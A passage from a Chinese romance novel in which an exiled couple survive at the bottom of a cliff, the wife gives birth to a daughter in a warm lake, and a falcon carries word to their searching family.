苏琯璋将充作抹布的中衣碎布洗干净,挂到山壁上等它自然晾干,不过须臾便回到宣槿妤身边。 “现在疼不疼?”他伸手去摸她的脉。 宣槿妤摇摇头,“现在不疼。” 苏琯璋亲了亲她的脸,“那先睡一会儿。”她方才就困了,怕现在也撑得艰难。 他重新站起身,在两个山洞内都撒了一圈药粉,尤其在石台四周多撒了一些,以防虫蛇鼠蚁等爬进来——幸好他贴身的那些药瓶没有进水,药粉还好好的。 两人的披风也都派上了用场。 苏琯璋自己的披风方才已经铺作了第一层,宣槿妤站起来后,他又脱下外袍,铺在披风上面充作了第二层。 他重新扶着宣槿妤坐下,替她除去外头的衣裳,只留下贴身的小衣和柔软舒适的中衣,再将她的披风盖在她身上。 “冷不冷?”他摸了摸她身下的两层衣裳。 宣槿妤摇摇头,挪了挪身子,让他也躺进来,“你也睡会儿。” 她了解这个男人,昨夜便知今日会有暗杀,他昨夜定是睡得不好,今日又是一场厮杀,他肯定也累了。 如今他已经将心事全数告知她,她也不会吝于表达自己的关心。 苏琯璋看着妻子坚持的神色,很快便也脱得仅剩下一件中衣,躺下时习惯性地将她揽入怀中。 “睡吧!”他说。 宣槿妤是真的累了,才闭眼没多久,便在熟悉的气息包围中沉沉睡了过去。 等到二人醒来,满室都是宁静安和的气息,好似那些厮杀、他们的困境都已经离他们远去,让人心里十分舒坦。 这种时候,也最是谈论心事的好时机。 “为何要忍?”苏琯璋抚摸着她依旧纤细的脊背,“你不该受这样的委屈。” 终究还是提起了她误会他心里藏了旁人的事。 “狗皇帝对我图谋不轨,我都要随你一起流放了。”宣槿妤想起当时的憋闷,低头去咬他揽住自己肩膀的手。 “人在屋檐下,哪能不低头。”她道,知道怎么说才能让这个男人更心疼。 果然,苏琯璋任由她在手上不轻不重地咬着,将她抱紧,“槿妤,日后,你不必再忍。” “有什么不满,你都可以找我发泄。” 宣槿妤松开嘴,嘟哝着,“我是那等不讲理,动不动就要发泄的人么?” 不过,她到底有自知之明,只声音轻了不少,直直地和他对视着,眼里却不见心虚。 苏琯璋含着笑去亲她,亲得她脸上、脖子上和肩膀上都痒痒的,忍不住往他怀里缩得更紧。 等捉弄完人了,他才说道:“夫人气度宽宏,是为夫误会夫人了。” 宣槿妤擦着方才被他亲痒了而笑出来的眼泪,“公狐狸。”她心里骂了一声。 但她肚子这样大,且被他困在怀里,无处可躲,便没有出声,生怕他再没轻没重的,还来逗弄她。 “给你咬。”看出她的意图,苏琯璋自觉将手臂奉 上。 …… “真是个傻姑娘,竟然气了这么久。”还是绕不过方才的话题,苏琯璋很是心疼地摩挲着宣槿妤的脸。 宣槿妤唇部红润润的,比方才艳丽不少,闻言她有些心虚地将头埋进他怀里,不敢和他对视。 她倒也没有日日记着,只偶尔想起来才气不过。但孕期她身子不适,已经很久没有想起这件事了,方才那样说只是单纯想欺负他而已。 若她不是心大,而是日日记着这男人的不好之处,依她的性子,怎么甘愿和他好了三年?还愿意生下两人的孩子? 但她心大这件事,他好像一直没有发现,那就这样吧!反正这男人越心疼她越开心。 眼下宣槿妤暂时还不疼,苏琯璋便要趁着时间赶紧将晚膳时要用的竹筒制作出来。 二人重新去了一趟竹林。 回来时,苏琯璋手中多了几块薄薄的石板,和两块看着就十分沉重的大石头。 他们决定日后做饭时都在小山洞里头做,吃好了再回大山洞歇息。 如此,就得有餐桌和椅子。 这倒好办,竹林里的竹子多的是。 “你还好么?”苏琯璋放下手中的石板和大石头,到山泉处洗干净了手再擦干,才去摸宣槿妤的脉,“是不是又疼了?” 进入这小山洞时,他发现妻子走路慢了些。 宣槿妤额头渗出冷汗,疼得说不出话,只抓住他替自己擦汗的那只手。 苏琯璋也顾不得什么餐桌和竹椅了,直接将宣槿妤打横抱起,很快将她放在大山洞内的石台上。 方才铺的衣裳没有收起来,他直接将人放在上面,撩开宣槿妤的裙子,褪了下裳,伸手去探。 再拿出来时,手上沾了星点的血迹。 “开了一指。”苏琯璋额头也有冷汗渗出。 太慢了,才开一指,她就这样疼。 他很少为什么事情后悔过,眼下,却是开始后悔开年时自己为什么要答应她不吃避子药的事来。 怀上这个孩子,她这一路遭了多少罪。 宣槿妤照着午前苏琯璋教给她的方法调整吐息,急促的呼吸慢慢平复下来,虽还是很疼,但她已经能够开口了。 她感受到从男人身上散发出的悔意,“你在想什么?”她问,任由他替自己穿好下裳,放下裙摆。 苏琯璋将她抱坐在自己身上,“生完这一个,我们就不生了。” 他将头埋在她身上,用着几乎是乞求的语气,“好不好?” 宣槿妤不知道他为何突然这样说,只很快察觉到脖子上传来的水润,一怔。 他哭了? 她捧着他的头,让他和自己对视,果真见他发红的眼圈,和脸上还未干的泪痕。 这是她第二次见到这个男人哭,还是在同一日。 她连腹中一阵一阵的抽痛都顾不得,凑上去吻他,“为什么?”她轻轻咬着他的下唇,声音很轻。 苏琯璋少有的在她主动吻他的时候没有反客为主回吻,而是捧着她的脸,“我们就只要这个孩子,好不好?”他重复着问,固执要一个答案。 他甚少这样执拗。 宣槿妤和他对视,清楚地在他眸中看到了心疼,“你舍不得我吃苦?”她眉眼弯了起来,显然很开心这样的发现。 “是,”苏琯璋摩挲着她因为忍着疼痛而有些发白的面颊,“槿妤,我心疼你。” 他叹息,“你为这个孩子遭了太多罪。”本是京中贵女,却要怀着身孕被流放,他路上做得再多,也弥补不了她孕期的种种不适。 “槿妤,一个孩子也很好,我们可以将所有的宠爱都给到这个孩子。”他还记着宣槿妤说她想等到生产时自然得知是男是女的事,故而没有提及孩子性别。 他将唇贴上她,“很疼是不是?” “可我却无法替你分担这样的疼痛。”他语气里尽是懊恼,听得宣槿妤心里发软,“槿妤,我们可以相守一辈子。” “孩子就只要这一个,好不好?” 宣槿妤注意到,这个男人说话时已经没有了往日逻辑清晰的模样,显得有些跳跃。 但就是这样的心慌意乱让她的心悸动得厉害。 她听着他的话,联想到方才他说到“开了一指”时声音的颤抖,还有什么不明白的呢? 他是心疼她妊娠时遭的罪,但真正让他下定决心央求她只要这一个孩子,还是因为亲眼目睹了她临产时遭受的痛楚。 归根结底,他都是为了她。 心里像是有蜜糖源源不断地涌上来,盖过了腹中的阵痛,宣槿妤看着他的眼睛,说了声“好”。 她本也没有要生多少个孩子的执念。 何况,他向来对她千依百顺,她顺从他一次,又有何不可呢? 就像他说的,若他们只生这一个,那就将所有的爱都给这个孩子。 宣槿妤疼得深吸口气,却只摸了摸圆滚滚的肚子,心里十分期待这个孩子的出生。 她答应了。 苏琯璋松了一口气,又在她额头上贴了贴,“槿妤,谢谢你。” 她有喜欢孩子他是知道的,但她愿意为了他不再去要别的孩子,他除了感激,别无他想。 因为除了感激,愧疚、难过哪怕欢喜等等情绪,其实并不适宜出现。 “要去温水中泡泡么?”苏琯璋问。 她疼得唇都是白的,看得他心里也在疼。 宣槿妤将头抵在他胸膛,摇了摇头。 但终究还是忍不住疼,她含着泪抬起头来,抱住他的脖子,“你亲亲我。” 两情相悦的欢愉满涨着一颗心,宣槿妤说话声音清甜之余,还多了几分蜜意,娇气得很。 苏琯璋一手撑住她的腰腹,将她圈在怀中,一手捧着她的脸,吻了上去。 山中不知岁月。 唯有情意绵长。 第67章 第67章她的孩子出生了 等到阵痛发作过后,宣槿妤趴在苏琯璋肩上,轻轻地喘着气。她方才苍白的唇瓣此时又恢复了红润,脸上的媚意让人心动不已。 方才没做完的事情还是要做的,眼下离晚膳时分也不到一个时辰了。 可不能再让宣槿妤饿着。 才交过心,又温柔缠吻了一番,此时二人心意相通,宣槿妤很容易就看出苏琯璋在踟躇什么。 “我在这里等你,你快去快回便是。”她率先开口。 苏琯璋仍是抱着她,没有动弹。 宣槿妤亲了亲他的下巴,“等我生完孩子不能见风,你也是要独自出去寻找吃食的。” 她摸了摸男人有些松动的面容,“就当提前适应。而且,”她笑起来,“你忘了,我还有神力在身呢!” 她可是十分厉害的。 上午在崖上时,且不说她一脚就将一名黑衣人踹到吐血;光说她扔柴火出去砸那些黑衣人的时候,可是一砸重伤一个,可帮了他们不少忙。 苏琯璋也想起她那时的剽悍战绩,唇边牵起笑意,“嗯,槿妤真厉害。” 见她眼里瞬间泛起亮光,整个人也灵动了起来,知她爱听,他便继续夸赞:“上午的战斗,槿妤也出了不少力,当真是巾帼不让须眉。” 这夸得好像有点过了。 宣槿妤不由得双手捂了捂脸,只觉耳朵都开始发烫起来。 但是再多的夸赞,她也是会照单全收的,尤其是来自这男人的夸赞,多难得啊! “你这嘴巴甜了不少。”她摸了摸男人的嘴唇。 苏琯璋亲了亲她置于唇上的食指,“我答应你会改的。” 但你改得也太快了点。宣槿妤心想。 她眼下还觉着没有什么实感,毕竟婆母许玉娘可是用了二十年也没将他这清冷寡言的性子改过来。 “我说错话了?”见她不说话,他轻轻牵住她的手。 宣槿妤回过神来,抱住他,在他脸上亲了一口,“没有。” “叭”的一声十分清脆,回荡在山洞中,宣槿妤愣了愣,脸慢慢红了起来。 “奖励你的,继续努力。”但她 到底也没有逃避,只说话时不敢看他的眼睛。 苏琯璋将她抱紧,对着她还红润润的唇瓣,重新吻了下去。 末了,他贴着她的额头,边替她平复着呼吸,边道:“槿妤,这才是奖励。” 公狐狸。 宣槿妤脸上越发烫了,推了推他,“你赶紧走。” 再亲下去,晚膳真得挨饿了,那岂不是要打他的脸么?他午后才说不会饿着她的。 苏琯璋也晓得不宜再耽搁下去,将宣槿妤抱坐在石台上,起身活动着被她压得有些发麻的双腿,“若是有危险,记得大声叫我。” 他摸了摸她的脸,“我会听见的。” 苏琯璋果真速战速决。 好似还不到一刻钟,他就回来了。 听到外面苏琯璋在唤她的名字,随即有重物在地上拖曳的声音响起,宣槿妤撑着石台,慢吞吞地穿好了鞋,捧着肚子走了出去。 “还出去吗?”她问,上下扫视他一圈。 他好像身上也没被蹭脏,不过也可能是玄青色的薄袄耐脏,看不出来。 宣槿妤漫不经心地想着,盯着他挽起袖子后露出来的双臂看。 苏琯璋打量了一番她的面色,见没什么异样,放下心来,“竹子都砍好了,不用再出去。” 他用什么砍的?午后那会儿不是还用脚踹的? 想着,她也就问了出来。 苏琯璋将手中的竹片拿给她看,“用这个,灌注内力后,锋利程度也不输刀剑。” 这下,宣槿妤也和她三哥哥一样,觉得他这内力十分好用了。 往常见他轻易烘干衣裳和头发,和方才见他掌心一扫就烘干石台,她还没什么感觉。 只如今见他用一薄薄的竹片当刀剑来用,便觉着这样有些过于厉害了。 宣槿妤想,或许我心里还是更向往这种比较直观的武力的,嗳,以前不该骂他粗莽武夫的。 不过,眼下还有一桩更要紧的事,其他的念头都要暂时抛之脑后。 “夫君,你在崖上,有受伤么?”宣槿妤有些不安地问,她到此时才想起这样一件十分重要的事来。 她这个妻子做得,好像也不怎么合格。 到这崖底时,她只顾着自己看到的刀锋划过他喉咙那一幕了,竟忘了在她看不到的时候,他身上可能还有旁的伤势。 她这时候也想起了,他当时被淹没在黑衣人群中的那个画面来。 苏琯璋见她双眼只顾盯着自己的双手看,便随手将竹片扔到一旁,将手臂展开递给她看,“没有受伤。”他说。 他手上沾了灰,不好去碰她,便俯身用脸去蹭她额头,“身上也没有受伤,别胡思乱想。” 说着他笑起来,手臂曲起揽住她,“我方才脱得只剩下一件中衣,你还没看清楚么?” 宣槿妤也想起这茬来,摸了摸肚子。 一孕傻三年,她莫不是已经开始傻了罢?她有些不确定地想着。 但很快,她被他身上炽热的温度灼烫,推开了他。 再回想他方才话里对自己的逗弄,宣槿妤软绵绵地瞪了他一眼。 登徒子。 “你该干活儿了。”她嗔道。 苏琯璋只逗了她这一下,见她害羞,懂得适可而止,很快退开两步距离,继续他手上的活计去了。 “要先坐会儿么?”他开始做活儿,先这样问宣槿妤。 宣槿妤摇摇头,她已经坐够了,眼下想先站会儿。“我若站累了会回石台上坐着的。”她说。 于是苏琯璋便先处理他带回来的竹子。 宣槿妤也不知道他砍了多少棵竹子,就光见他从身后的洞口外不断地往里抽,一节又一节、一棵又一棵的竹子被他拖进洞里,好似源源不断。 竹筒被他从稍上方的位置剖开,只用竹片一划,整个竹筒便被分成了大小不均的两半。 苏琯璋将大的一半拿在手里,小心地削掉中间的竹节,如此便得了一个连通的大竹筒。 这又和午后那会儿做的那些竹筒在形状上有些不大一样。 午后那批竹筒可以稳稳地竖立起来,装些汤汤水水是没有问题的,且还能当饭碗来用。而现在这批,显然立不起来,只能横卧着放。 宣槿妤猜测着,这是要当小巧的炒锅用的? 她如此想,但也没出声,安安静静地看着苏琯璋将两批竹筒堆在一起,那数量,甚是可观。 竹子全都被苏琯璋做成竹筒了,他显然没有做竹椅的意思,因为担心宣槿妤坐着不安全。 这会儿他已经将方才两人一起去竹林时带回来的大石头洗干净烘干,还铺了同样洗干净烘干的竹叶,让宣槿妤坐着继续看他做活儿。 大石头他又带回了两块,已经够用了。 石板、大石头、和一堆竹筒都被他带到山泉边上,清洗干净。两块大石头并行放着,中间留出生火的地方,这便是简易的大型炉灶了。 几块石板依次铺上去,中间的两块还各都凿出了一个浅坑,这样他们的炉灶就可以同时烹煮不同的食物。 苏琯璋将一个三联竹筒放在石板上那个他刚凿出来的浅坑中,刚好能够卡住圆滑的竹筒底部。 炉灶和简易的“锅”都有了,苏琯璋和宣槿妤交代了一声,又出去了一趟,这次比方才回来得更快。 他是运轻功飞回来的,宣槿妤已经知道他动作这么快的缘由了。 苏琯璋带回了许多小鱼,用一片很大的树叶包着;还有一些野菜,和一块微微发红的石头。 “这是岩盐。”见宣槿妤盯着那石头看,苏琯璋解释道:“有时候行军没有盐,便会找岩盐替代。” 宣槿妤再次见识到他强大的野外生存能力,然后她也很快想起午后的那餐饭来。 “方才我们吃的烤鸡里也抹了岩盐?”她问。 那只烤鸡是有咸味的,调味、火候都掌控到恰到好处。 苏琯璋应了声“是”,手上的动作一直未停,很快将洗干净的小鱼放在那卡在石板浅坑的三联竹筒上,加了水,盖上先前被削掉的竹片。 宣槿妤这才看到他原来还带回了一些柴火。 柴火被堆放在两个大石头中间,很快火就生了起来。 做完这些,苏琯璋才停下手中的动作,有些歉疚地对宣槿妤说:“槿妤,条件简陋,委屈你了。” 宣槿妤摸了摸肚子,“还能喝到鱼汤就已经很不错了。”她也不是真的那么娇气的,至少流放这大半年,她也过来了。 且经过坠崖一事,她才晓得,一家人在一起,比什么都重要。 什么外在事务,都是次要的,彼此之间互相扶持,才是最要紧的。 可惜流放这一路,她被护得太好,没能参透。 不过,折腾了他一路,她虽说心里没好受上多少,可至少,这块木头也渐渐开窍了。 这也算是件好事。 她对他浅浅一笑。 半夜时分,宣槿妤被肚子一阵一阵的强烈收缩痛醒。 苏琯璋几乎是在她睁眼的同时被惊醒的,下意识 就伸手往她身下一摸,很快将她抱起来,“别怕,是孩子要出来了。” 羊水已经破了,宣槿妤的贴身下裳湿了一点,但幸好襦裙和她底下铺着的外袍还没湿。 苏琯璋快速给宣槿妤裹上她的薄袄和披风,自己只着一件中衣,手上搭了件薄袄就抱着她出了洞口。 宣槿妤疼得满头大汗,眼泪止不住地往下掉。 借着微弱的月光,苏琯璋看清了她的模样,心里一紧而后又是阵阵抽痛。 “槿妤,痛就别忍着,可以咬我。”他亲了亲她汗涔涔的额头。 此时苏琯璋已经将二人的外裳挂好,抱着宣槿妤下了那温水湖。 夜间的温水湖温度竟比白日时还稍微高了一点点,泡在里面也更为舒适了。 湖水温柔地在二人全然浸在水中的下身慢慢冲刷着,逐渐缓解了那股让人痛不欲生的疼痛。 宣槿妤慢慢松开咬着苏琯璋肩膀的嘴,有些脱力地将头靠在他身上,不过方才无意识地蜷缩起来的身子已经在湖水的安抚下全然放松下来。 苏琯璋方才已经将她的下裳脱下挂在树上,此时便更方便他伸手去探。 不多时,他眉眼沉沉地收回了手。 她疼得这样厉害,竟还只是开了三指。 太慢了。 感受着她拂过自己脖子的温热呼吸,和眼睛无意识擦过时他肩膀上的湿润,他险些控制不住自己的情绪。 他深吸了口气,想要逼着自己冷静下来,却只是徒劳。 苏琯璋终究还是忍不住将她抱紧。 “没事的,槿妤,别怕。”他捧着她煞白的小脸,“别怕,我不会让你们出事的。”他几乎是喃喃自语。 他捧着她脸颊的手都在抖;眼中一贯的淡然早已不见,此时更像是一汪深不见底的寒潭,眼睫颤动着,潭水破碎得厉害。 好像是他更怕一点吧! 宣槿妤午后才问过他是不是都不会担心慌张的,他当时是怎么回答的?这么快就自己打自己的脸了? 不过,她却深深眷恋着这样会担心会害怕的苏琯璋。 这样的他,比他之前那副好似天塌下来眉头都不会动一下的,永远清淡冷静的模样更让她动容。 宣槿妤抬手摸了摸他的眉毛,“你也别害怕。” 借着湖水的浮力,她踩在他脚上,抱住他的脖子,亲了亲他的唇,“我和孩子都不会有事的,对不对?” 照进湖中的月光潋滟无双,映着她认真的清艳眉眼,苏琯璋一颗心便奇迹般地安定下来。 “你和孩子都不会有事的,我保证。”他倾身吻她,轻柔而缠绵。 这一夜过得分外漫长,可夫妻二人心里皆是憧憬。 他们谈着快要出生的孩子,谈着他们一家三口的以后,谈着孩子的名字和小名儿。 晨光熹微,山间雾气腾腾。 抬眼望去,只觉整座山皆被浓雾包裹起来,云层缭绕,美如仙境。 两人却无心欣赏。 强烈的痛楚袭来,挣扎了一夜的宣槿妤呼吸一乱;但很快她便觉得身下一松,好似有什么东西离开了自己的身体,脑子一时有些发懵。 她软绵绵地倒在苏琯璋身上,眼角余光瞥见苏琯璋一手扶着她,一手飞快地从水里捞出一个什么东西来。 她还未反应过来那是什么,便听到苏琯璋的声音。 “槿妤,你看,这是我们的女儿。”苏琯璋将孩子托在扶着宣槿妤的那只手上,另一只手拍打着孩子的脚心。 宣槿妤快要阖上的双眼又睁了开来。 女儿。 她的孩子出生了。 这会是他们夫妻这辈子唯一的孩子。 心里的满足后知后觉席上心头,她也当娘亲了。 第68章 第68章你是不是可以找到崖上的…… “她好小。” 宣槿妤下意识地对那小小的红通通皱巴巴的孩子露出一个笑,继而有些慌,“她怎么不哭啊?” 她嫁给苏琯璋之前,她在宣家的哥哥们中除了三哥哥,其余的都已经有了孩子。 嫁给苏琯璋之后,她还见证了苏玉慕的出生。 是以,她是知道刚出生的孩子都不怎么好看的。但是,她也记得,刚出生的孩子是要哭的,不然就会有夭折的危险。 苏琯璋拍打着孩子脚心的力度加了些许。 “哇呜呜。”孩子终于察觉到痛,张着小嘴巴委屈地哭了起来。 夫妻俩松了口气。 宣槿妤眼睛热热的,想哭。这是她的女儿,是她怀胎九月的女儿,是她和苏琯璋的骨血。 她这辈子,就只会有她这么一个孩子了。 难言的感动席上心头,宣槿妤双眼不知不觉便盈聚了一层水意。 “槿妤,别哭。”苏琯璋忙道,不大熟练地边哄着孩子,边担心地观察着她的情况。 他甚至腾不出手来替她把脉。 宣槿妤本来眼泪都要流下来了,见他这样一副手忙脚乱的模样,“噗嗤”一声又笑了起来。 笑了就好。 苏琯璋低头亲了亲她汗湿的额头。 他随身带着的那柄匕首在昨日晚膳时已经被他在火上烤过,他取出来小心翼翼地将脐带切断, 而后便单手飞快地脱下自己的中衣,将孩子牢牢地包了起来。 当然,他还得扶着已经全然脱力的宣槿妤,单手包得自然也不大好,还是宣槿妤撑着给他将中衣拉好。 不过,这已经足够了。 察觉到有如在娘胎般的包裹感,小小的婴孩顿时安心下来,努努嘴,慢慢安静下来。 “她睡着了。”苏琯璋轻声道。 他此时拥着母女二人,眼圈已经开始红了。 有水珠砸到宣槿妤手上,她吃力地抬头看了一眼,见是他的眼泪,却抿着唇笑了起来。 苏琯璋俯首用脸紧贴着去摩挲她的脸颊,含笑亲了她一口。他的妻子,每次见他出糗都还挺开心的。 他都将眼泪蹭到自己脸上来了! 宣槿妤想躲,但身子实在没力气,头也被他卡在他肩膀和他脸颊之间,动都动不了。 只好任他亲完,而后再用他的脸将自己脸上的汗水和他的泪痕都擦干。 “苏琯璋,你是故意的。”宣槿妤瞪他,眉头已经蹙了起来,十分嫌弃他方才的行为。 哪有将自己的脸当帕子来用的?哪怕擦的是她自己的脸。 这也太糙了些。 他平日里举手投足间的那些如文人般的矜贵优雅去哪里了? 苏琯璋低低地笑出声,“嗯。槿妤,我是故意的。” 宣槿妤有些气,转头在他锁骨上咬了一口。 刚生完,她身上的力气还没恢复,这一口的力道软绵绵的。 苏琯璋眉目温和,落在她身上的目光十分缱绻。 有风拂过,暖融融的。 苏琯璋的中衣已经裹在孩子身上,身上没有遮挡,只还散发着温热的体息。 湖水也是温热的。 被这样的暖意包裹着,宣槿妤昏昏欲睡。 苏琯璋低头轻轻咬着她的耳朵,“槿妤,别睡。” 胞衣还未娩下,她不能睡。 见宣槿妤没有反应,苏琯璋狠了狠心,齿间用了点力,还磨了磨。 宣槿妤被细微的刺痛扰到,睁开眼睛,有些难以置信地看着他,“你咬我?” 其实也没有多疼,还比不上蚊虫叮咬来得痛。 但她被他捧在掌心惯了,此时被他这样对待,心里便莫名涌起一股难以言喻的委屈来。 说话的当口,她眼里已经凝聚了一层雾气。 苏琯璋低头和她对视,认真地道着歉,“抱歉,槿妤,我弄痛你了是不是?” 他亲了亲她水蒙蒙的眼睛,“难受了就咬我。只别哭,也别睡,好不好?” 宣槿妤被他温柔的眼神和语气弄得心里发软,那股委屈也很快散了大半。 且这么一闹,她的那些睡意很快也消散得差不多了。 只她还惦记着他莫名其妙咬她的事,“你还没说,为什么要咬我。”她偏头,咬着他锁骨不放,眼睛还睨着他,大有他不回答她就不松口的架势。 苏琯璋被她这样可爱的反应逗笑,忍不住低头亲了亲她,“只是担心你睡着,不是故意咬你的。” 好罢! 宣槿妤松了口。 身子累极,但他又不给她睡。 宣槿妤又瞪了他一眼,偏头去看她刚生下来的女儿,小心翼翼地摸了摸她嫩滑的小脸儿。 “我们这样说话,不会吵到她吗?”她小声地问。 苏琯璋又挨了一记眼风,已经很习惯了,闻言回道:“不会,我们正常说话就好。” 宣槿妤越看女儿,心里就越欢喜,身子的疲累好像也察觉不到了。 她真的好乖,安安静静地待在父亲怀里熟睡着。宣槿妤担心地将手 放在她鼻下,感受到她温热的呼吸才安心下来。 “我想抱抱她。” 苏琯璋没有答应,“你身子还虚弱。” 好罢,宣槿妤也只是临时起意,不是非要抱到女儿不可。 她自己都还是靠着这男人臂力和身体的支撑才得以在这湖中站稳,他若是答应了,她怕是还要担心自己将女儿摔着了。 说了一会儿话,身子的疲惫再次袭来。 宣槿妤想阖上眼睛。 “槿妤,真的不能睡。”苏琯璋贴着她的脸,慢慢地亲着,弄得她痒痒的。像是微风不歇,也似柳絮拂面。 “槿妤,再坚持一会儿,嗯?” 在这湖里,他还得顾着怀里的孩子,只单手没办法如以前那般方便、时时照料着她的身子。 若是产后大出血,一般会在这一个时辰里发生,他须得让她保持清醒,才好观察。 想到这里,苏琯璋的眉眼淡了下来。 宣槿妤没有察觉到他的神情变化,只被他蹭着、亲着脸颊,再也没办法阖眼。 “还要在湖里待多久?”她问,声音里都是委屈。 苏琯璋让她继续看手里的孩子,“再等等。” “我都要泡皱了。”宣槿妤软绵绵地抱怨道。 他们在这湖里泡了大半夜,肌肤定然皱巴巴的了。想着,她眉头也皱了起来。 只视线落在他怀里的孩子身上,眉头又不知不觉松展,脸上也有了笑。 早起的鸟儿方才还鸣得正欢,此时已经不叫了,只能看见它们在枝头跳跃着,十分雀跃。 第一缕阳光穿透云雾照进山里,湖里波光潋滟,整座山也慢慢苏醒过来。 宣槿妤没有内力武功,也能察觉到附近草丛树林间窸窸窣窣的动静声。 才散下去的睡意再次袭来。 宣槿妤撑不住再次阖上眼皮,忽然听到苏琯璋在她耳边说道:“岚,就叫岚姐儿如何?” 这是给女儿起的名字? 她又迅速睁开眼睛,抬眼去看他。 苏琯璋含着笑亲了亲她的眼睛,“先别睡。女儿大名‘苏玉岚’,这个名字好不好?” 岚,山间雾气。 宣槿妤品着这个名字,想起云雾环绕下女儿的第一声啼哭。 “好。”她笑起来,小心地伸手摸了摸女儿的小脸儿,“就叫岚姐儿。” 昨夜他们谈着未出生孩子的名字,并没有这个字。 可是如今却觉着,这个字再恰当不过——她想,这是女儿自己选择的名字。 这个孩子出生于浓雾笼罩山间的时候,如梦似幻。她的到来,也圆了她当母亲的梦。 “岚姐儿。”宣槿妤呢喃着女儿的名字,眼圈情不自禁地就红了。 忽而才消下去的肚子又传来一阵强烈的收缩,她不由得弯了腰,将自己蜷缩起来。 苏琯璋忙稳住她的身子。 轻微的一声落水声响起。 宣槿妤觉得自己好似出现了幻觉。 不过却是场景再现。 她眼角余光瞥见苏琯璋飞快地从水里捞起一个东西,却没给她看,只迅疾换到环着她的那只手上。 应当是胞衣。宣槿妤想。 果然。 “我们回山洞里。”苏琯璋亲了亲她再次汗湿的额头。 胞衣既已顺利娩下,他们就不必继续在这水里泡着了。 两人脚下的湖水早已被染红一片。 这片湖的自洁能力极佳,很快那片绯红就晕染开来,估计不必等到明日,那些血腥气便会散尽。 苏琯璋跨上岸,运起内力,将两人被湖水浸湿的下裳烘干。 宣槿妤发现,自从那次山中大暴雨,他这样烘干衣裳进入车厢之后,就很喜欢这样快时省力的方法。 当然,她和孩子如今受不得凉,这也是最好的办法。 苏琯璋发现宣槿妤正睁着眼睛在看他,便低头在她额上亲了亲,很快将挂在树上的衣裳取下,放在她怀中,便施展轻功去了山洞里。 大山洞中石台上,苏琯璋昨日铺好的两层衣裳有些散乱,昭示着昨夜他们的忙乱。 宣槿妤靠在他身上,看着他小心地将孩子放在里侧,对于方才他一直扰她睡眠的“恶劣行径”的不满早已散去。 总归她嫁的这个男人,值得她的喜欢,真好。 他们之间,还孕育了一个孩子。 身下还是疼得厉害,她却浅浅地勾起了唇。 苏琯璋将宣槿妤小心地扶着躺在他整理好的床上,替她盖上她的薄袄——她才生完,要盖更厚实的衣裳。 “冷吗?披风要不要也盖上?”他摸了摸她因失血而有些发白的脸颊。 宣槿妤摇摇头,“这样就可以了。” 这崖底本就不冷,盖上薄袄她已经足够暖和了。 苏琯璋俯身亲了亲她没什么血色的唇,再将孩子抱过来,将裹着女儿的中衣替换成他的薄袄。 他穿好中衣,蹲在石床前问她:“还疼不疼?” 宣槿妤摸了摸孩子毛绒绒的胎发,心里的欢喜简直要溢出来。 她正要回答,便听得最外面的小山洞口有什么大型鸟类扇动翅膀的声音传来。 苏琯璋脸色一变,才警觉地将母女俩护在身后,那声音已经到了这处大山洞。 熟悉的白隼叫声传入耳中。 “是那只玉爪,它来找我们了。”宣槿妤欣喜道,不忘压低声音,生怕吵到熟睡的女儿。 她方才摸着女儿软软的毛绒绒的小脑袋,有一瞬间想起了那只玉爪。 却不想它竟在此时找到这里来。 巧合得让人难以置信,却又难掩兴奋。 白隼已经掠到他们二人面前,歪着头看着被熟悉的气息包裹住的小小人类婴孩,像是在打量着她。 身为凶禽,地上那一团散发着淡淡血腥气的东西却没能引起它半点注意。 “她是我刚生的女儿。”宣槿妤对着白隼露出个温和的笑容,偏头回看婴儿的眼神柔和得要滴出水来。 白隼竟可以找到这崖底来……苏琯璋若有所思。 “你是不是可以找到崖上的人?”他忽然问,想起不久前这只玉爪给他们带了一只山羊的事来。 第69章 第69章你是不是能带我们找到他…… 宣槿妤眼神一亮。 苏琯璋已经撕下中衣一角,咬破食指在上边写了“母女平安”几个大字;又在反面写了几行小字,简单说了他们目前的情况,再让他们将给宣槿妤和孩子准备的东西交给玉爪带下崖底给他。 玉爪衔着透着艳色的中衣碎布飞走后,宣槿妤抬头看他,“上面的人会收到消息吗?” 苏琯璋颔首,“会的。” 宣槿妤安下心来,眼皮又开始沉重起来,只坚持着将话说完。“我们掉下崖,他们定是很担心。” 尤其祖母年纪那么大了,真担心她受到的刺激太大,影响身子。 苏琯璋坐在她身侧,俯身在她唇上吻了吻,“没事的,玉爪会将消息带给他们。” 见宣槿妤又睁开眼睛,他轻轻拍了拍她,低声道:“睡罢,我守着你。” 孩子已经安稳地睡在石床上,他也能够腾出手来, 安心地守在她身边了。 低沉清冽的声音十分催眠,宣槿妤才阖上眼,很快呼吸便变得均匀起来。 她累坏了。 一个时辰后,苏琯璋停下一直探脉的动作,再次小心地掀开她的披风,往她身下看了一眼。 没有大出血。 他终于放下心来。 宣槿妤和孩子都睡得很熟,苏琯璋想了想,走到小山洞那处取了两个他昨日做好的三联竹筒,放到宣槿妤身侧。 这样,她只要一动,竹筒就会滚落在地,听闻动静的他就能及时返身。 做好这些,他拿起方才被包在宣槿妤比甲内的胞衣,回头再确定母女二人睡得正好后,便疾步走出了山洞。 山洞外有一株桃树,像是才长出来没多久。 苏琯璋很快挖好一个坑,将女儿的胞衣埋在树下。 他站起身来时,还觉着有些歉疚,女儿生在这崖底下,胞衣也只能埋在这里。 他回填好泥土,摸了摸桃树的幼苗,清冷的眉眼不觉便温和下来。 大盛朝有习俗,孩子的胞衣埋在树下,他/她便会和这树一般,茁壮成长,健康无忧。 他亲手给女儿送出了这份祝福。 夫妻俩还沉浸在女儿出生的喜悦中,期盼着白隼玉爪将三人平安的消息传出去。 而另一头的崖底下,却弥漫着一股紧张、悲伤、期待等种种复杂情绪杂揉的气息。 昨日战罢,苏家人和着宣文晟昨日带人到这里搜寻了大半日。 夜里气温骤降,女眷和孩子们又累又冷,都有些撑不住,男人们要顾着他们的身子;且这夜间连个栖息的山洞都找不到的崖底实在危险重重。 若非如此,他们哪怕不眠不休,也要在这崖底找上一夜。 昨日夜里,他们住进了宣文晟的商队在淮招县买下的那处宅子。 若是宣槿妤苏琯璋没有出事,他们该兴致勃勃地各处参观;尤其已经给宣槿妤布置好的产房,定要再检查一番,好布置得尽善尽美。 可惜,昨夜无人有那等参观的心情,草草地就都睡下了。只想着尽快恢复体力,好天一亮就早点起身继续去寻人。 不过天还不亮,苏老夫人就起了身。 她昨夜被长子强制压着睡下了,但睡得很是不安稳,梦里都是她的幼孙、幼孙媳妇和那未出生的重孙或重孙女儿。 